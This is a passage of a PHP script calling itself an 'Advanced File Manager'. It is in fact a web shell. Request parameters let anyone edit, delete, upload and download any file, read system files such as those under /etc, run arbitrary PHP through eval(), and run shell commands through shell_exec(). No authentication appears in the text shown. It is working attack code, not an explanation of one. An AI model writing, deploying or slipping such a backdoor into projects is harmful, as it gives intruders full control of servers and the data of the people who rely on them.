"; } else { echo "❌ Rename failed
"; } // Stay in same directory header("Location: ?dir=" . urlencode($dir)); exit; } // Handle delete - stay in same directory if (isset($_GET['delete'])) { $file = $_GET['delete']; $success = false; if (is_file($file)) { if (unlink($file)) $success = true; } elseif (is_dir($file)) { // Try to delete recursively if directory not empty if (rmdir($file)) { $success = true; } else { // Attempt recursive delete for non-empty directories function delTree($path) { if (is_dir($path)) { $files = scandir($path); foreach ($files as $file) { if ($file != "." && $file != "..") { delTree($path . "/" . $file); } } rmdir($path); } else { unlink($path); } } delTree($file); $success = true; } } if ($success) { echo "✅ Deleted: " . htmlspecialchars(basename($file)) . "
"; } else { echo "❌ Delete failed
"; } // Stay in same directory header("Location: ?dir=" . urlencode($dir)); exit; } // Handle chmod - stay in same directory if (isset($_GET['chmod']) && isset($_GET['perms'])) { $file = $_GET['chmod']; $perms = octdec($_GET['perms']); if (chmod($file, $perms)) { echo "✅ Chmod " . decoct($perms) . " applied to " . htmlspecialchars(basename($file)) . "
"; } else { echo "❌ Chmod failed
"; } header("Location: ?dir=" . urlencode($dir)); exit; } // Handle view file (read without edit) if (isset($_GET['view'])) { $file = $_GET['view']; if (file_exists($file) && is_file($file)) { echo "
📄 Viewing: " . htmlspecialchars($file) . "
"; echo "
";
        echo htmlspecialchars(file_get_contents($file));
        echo "

"; echo "← Back to directory"; } else { echo "❌ File not found
"; echo "← Back to directory"; } exit; } // Handle read system file if (isset($_POST['read_system'])) { $sysfile = $_POST['system_file']; if (file_exists($sysfile) && is_readable($sysfile)) { echo "
📖 System File: " . htmlspecialchars($sysfile) . "
"; echo "
";
        echo htmlspecialchars(file_get_contents($sysfile));
        echo "

"; } else { echo "❌ Cannot read: " . htmlspecialchars($sysfile) . "
"; } echo "← Back to directory"; exit; } // Handle PHP code execution - stay in same directory if (isset($_POST['execute_code'])) { $code = $_POST['execute_code']; echo "
⚡ PHP Execution Output:
"; echo "
"; try { eval($code); } catch (Throwable $e) { echo "Error: " . $e->getMessage(); } echo "

"; echo "← Back to directory"; exit; } // Handle system command - stay in same directory if (isset($_POST['system_cmd'])) { $cmd = $_POST['system_cmd']; echo "
💻 Command Output:
"; echo "
";
    echo htmlspecialchars(shell_exec($cmd . " 2>&1"));
    echo "

"; echo "← Back to directory"; exit; } // Handle file edit - stay in same directory after save if (isset($_GET['edit'])) { $file = $_GET['edit']; if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['content'])) { file_put_contents($file, $_POST['content']); echo "✅ Saved!
"; echo "← Back to directory

"; } echo '

'; if ($_SERVER['REQUEST_METHOD'] !== 'POST') { echo '← Back to directory'; } exit; } // Handle download if (isset($_GET['download'])) { $file = $_GET['download']; header('Content-Disposition: attachment; filename="' . basename($file) . '"'); header('Content-Type: application/octet-stream'); readfile($file); exit; } // Handle upload - stay in same directory if (isset($_FILES['file'])) { $target = $dir . '/' . basename($_FILES['file']['name']); if (move_uploaded_file($_FILES['file']['tmp_name'], $target)) { echo "✅ Uploaded: " . htmlspecialchars(basename($target)) . "
"; } else { echo "❌ Upload failed
"; } header("Location: ?dir=" . urlencode($dir)); exit; } // Handle create new file/dir - stay in same directory if (isset($_POST['create_item'])) { $newpath = $dir . '/' . basename($_POST['new_name']); if ($_POST['item_type'] === 'file') { if (file_put_contents($newpath, '')) { echo "✅ Created file: " . htmlspecialchars(basename($_POST['new_name'])) . "
"; } else { echo "❌ Failed to create file
"; } } elseif ($_POST['item_type'] === 'dir') { if (mkdir($newpath)) { echo "✅ Created directory: " . htmlspecialchars(basename($_POST['new_name'])) . "
"; } else { echo "❌ Failed to create directory
"; } } header("Location: ?dir=" . urlencode($dir)); exit; } ?> File Manager

📁 Advanced File Manager

📍 Current Path: 🏠 Home / "; foreach($parts as $i => $p) { if(empty($p)) continue; $path .= '/' . $p; if($i == count($parts)-1) { echo "" . htmlspecialchars($p) . ""; } else { echo "" . htmlspecialchars($p) . " / "; } } ?>
⚡ Quick Access: 🏠 Root | 💻 System Root | 🌐 Web Root | ⚙️ /etc | 👤 /home | 📦 /tmp
📤 Upload File:
➕ Create New:
🔧 Advanced Tools (Click to Expand)
📖 Read System File:
🐘 Execute PHP Code:

💻 System Command:

📂 Directory Contents:

TypeNamePermissionsSizeActions
/ ✏️ Edit ⬇️ Download 👁️ View
🗑️ Delete

🔧 System Information (phpinfo)